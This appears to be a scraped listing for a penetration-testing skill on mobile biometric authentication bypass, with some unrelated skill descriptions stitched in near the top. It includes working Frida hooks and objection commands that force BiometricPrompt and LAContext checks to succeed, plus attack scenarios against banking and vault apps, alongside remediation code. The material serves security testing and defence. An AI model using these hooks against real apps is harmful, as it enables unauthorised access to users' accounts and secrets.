From meta
Detects authentication and biometric bypass vulnerabilities in mobile apps (Android/iOS). Trigger on: BiometricPrompt, LocalAuthentication, LAContext, evaluatePolicy, CryptoObject, Android Keystore, Secure Enclave, kSecAccessControlBiometryCurrentSet, userAuthenticationValidityDurationSeconds, confirmCredentials, biometric fallback, PIN bypass, passive authentication, enrolled biometrics detection, Frida hook auth, jailbreak bypass, TouchID, FaceID, fingerprint. Covers MASVS-AUTH-1/2/3.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Mobile authentication is broken when the authentication check is event-driven (callback-only) rather than cryptographically bound to a Keystore/Secure Enclave key. An app that calls `BiometricPrompt` / `LAContext.evaluatePolicy()` and then checks a boolean `success` return can be bypassed by hooking the callback with Frida and forcing `true`. Truly secure biometric auth requires a `CryptoObject...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Mobile authentication is broken when the authentication check is event-driven (callback-only) rather than cryptographically bound to a Keystore/Secure Enclave key. An app that calls BiometricPrompt / LAContext.evaluatePolicy() and then checks a boolean success return can be bypassed by hooking the callback with Frida and forcing true. Truly secure biometric auth requires a CryptoObject (Android) or SecAccessControl with biometry binding (iOS) — without this, the biometric check has no cryptographic consequence and can be bypassed at the application layer.
BiometricPrompt used without a CryptoObject parameter (event-only, not key-bound)LAContext.evaluatePolicy(_:localizedReason:reply:) with no Keychain operation tied to authuserAuthenticationValidityDurationSeconds > 0 with large values (minutes/hours)kSecAccessControlBiometryCurrentSet flag — new enrollments silently unlock Keychain itemssetUserAuthenticationRequired(false) on a Keystore key intended for biometric-gated operationsonAuthenticationSucceeded callback contains business logic without using cryptoObject.cipherAndroid:
BiometricPrompt, FingerprintManager, KeyguardManagerBiometricPrompt.authenticate() call: does it pass a CryptoObject?CryptoObject → callback-only auth → hookable with FridasetUserAuthenticationRequired(true) and setInvalidatedByBiometricEnrollment(true)userAuthenticationValidityDurationSeconds: 0 = require auth on every use (correct); >0 = time-window (weaker)onAuthenticationSucceeded to fire without user touching sensoriOS:
LAContext, evaluatePolicy, kLAPolicyDeviceOwnerAuthenticationWithBiometricsSecAccessControlCreateWithFlags with .biometryCurrentSet or .userPresence?evaluatedPolicyDomainState is checked on launch to detect enrollment changesLAContext.evaluatePolicy reply block, force error=nil to simulate success// Frida — Android: bypass BiometricPrompt (event-only auth)
Java.perform(function() {
var BiometricPrompt = Java.use("androidx.biometric.BiometricPrompt$AuthenticationCallback");
BiometricPrompt.onAuthenticationFailed.implementation = function() {
this.onAuthenticationSucceeded(Java.use(
"androidx.biometric.BiometricPrompt$AuthenticationResult").$new(null, 1));
};
});
// Frida — iOS: bypass LAContext evaluatePolicy
var LAContext = ObjC.classes.LAContext;
var evaluatePolicy = LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(evaluatePolicy.implementation, {
onEnter: function(args) {
var replyBlock = new ObjC.Block(args[4]);
replyBlock.implementation = function(success, error) {
replyBlock.implementation(1, null); // force success
};
}
});
# objection — Android: bypass biometric
android hooking watch class_method \
androidx.biometric.BiometricPrompt\$AuthenticationCallback.onAuthenticationSucceeded
# objection — iOS: bypass LAContext
ios jailbreak disable # in some versions triggers auth bypass
onAuthenticationSucceeded / LAContext reply to return success without biometrickSecAccessControlBiometryCurrentSet doesn't detect enrollment changeuserAuthenticationValidityDurationSeconds is set to hours, re-use the authenticated key window after the user walked awayScenario 1 — Frida Biometric Bypass (Android)
Setup: Banking app uses BiometricPrompt without CryptoObject; success triggers fund transfer unlock in callback. → Trigger: Frida hooks onAuthenticationSucceeded, fires it without biometric. → Impact: Full access to transfer functionality without the user's fingerprint.
Scenario 2 — New Enrollment Unlock (iOS)
Setup: Vault app stores secret in Keychain with .userPresence access control (no .biometryCurrentSet). → Trigger: Attacker adds their fingerprint to victim's unlocked device settings. → Impact: Attacker's Touch ID unlocks the Keychain secret.
Scenario 3 — Validity Duration Abuse (Android)
Setup: App sets userAuthenticationValidityDurationSeconds(300) (5 minutes). → Trigger: User authenticates once; attacker immediately uses the device. → Impact: Keystore key operations succeed for 5 minutes without additional auth.
BiometricPrompt with CryptoObject — properly bound, not bypassable via callback hookkSecAccessControlBiometryCurrentSet — enrollment change invalidates accessevaluatePolicy result is only used for UX (greyed-out UI), not for actual secret release// Android — key-bound biometric (correct)
val keyStore = KeyStore.getInstance("AndroidKeyStore")
val keyGen = KeyGenerator.getInstance(KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore")
keyGen.init(KeyGenParameterSpec.Builder("bioKey", KeyProperties.PURPOSE_ENCRYPT or KeyProperties.PURPOSE_DECRYPT)
.setUserAuthenticationRequired(true)
.setUserAuthenticationParameters(0, KeyProperties.AUTH_BIOMETRIC_STRONG) // 0 = per-use
.setInvalidatedByBiometricEnrollment(true)
.build())
// Pass CryptoObject to BiometricPrompt.authenticate()
// iOS — Keychain bound to biometry set (correct)
let access = SecAccessControlCreateWithFlags(nil,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
[.biometryCurrentSet], nil)!
// Any new enrollment invalidates this Keychain item
[[auth-bypass]] on the web covers the same conceptual space — client-supplied flags and callback-only checks — but in a mobile runtime context. [[mobile-weak-crypto]] enables auth bypass when biometric auth is event-only rather than key-bound: without a CryptoObject, there is no cryptographic consequence to the biometric check. [[mobile-resilience]] controls like root/jailbreak detection are a prerequisite defense — Frida-based auth bypass requires an attached debugger or instrumentation framework that resilience controls are designed to detect.